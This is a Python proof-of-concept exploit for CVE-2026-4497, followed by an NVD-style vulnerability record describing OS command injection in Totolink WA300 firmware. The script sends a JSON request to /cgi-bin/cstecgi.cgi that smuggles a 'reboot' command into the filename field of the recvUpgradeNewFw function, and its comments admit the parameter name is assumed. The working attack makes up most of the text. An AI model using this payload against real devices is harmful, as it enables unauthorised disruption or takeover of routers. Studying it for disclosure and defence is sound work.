CVE-2026-4497

import requests # Vulnerable Target URL target_url = "http://<TARGET_IP>/cgi-bin/cstecgi.cgi" # Vulnerability Payload: Injecting a command to ping a controlled server (or simple reboot) # The payload targets the 'recvUpgradeNewFw' function # Assuming the parameter name is 'filename' or similar based on common firmware upgrade logic data = { "function": "recvUpgradeNewFw", "filename": "test.bin;reboot;" } headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (compatible; PoC/1.0)" } try: response = requests.post(target_url, json=data, headers=headers, timeout=5) if response.status_code == 200: print("[+] Request sent successfully. Check if device rebooted.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

{"cve": {"id": "CVE-2026-4497", "sourceIdentifier": "[email protected]", "published": "2026-03-20T19:16:20.533", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was determined in Totolink WA300 5.2cu.7112_B20190227. Affected by this issue is the function recvUpgradeNewFw of the file /cgi-bin/cstecgi.cgi. This manipulation causes os command injection. Remote exploitation of the attack is possible. The exploit has been publicly disclosed and may be utilized."}, {"lang": "es", "value": "Una vulnerabilidad fue determinada en Totolink WA300 5.2cu.7112_B20190227. Afectada por este problema es la función recvUpgradeNewFw del archivo /cgi-bin/cstecgi.cgi. Esta manipulación causa inyección de comandos del sistema operativo. La explotación remota del ataque es posible. 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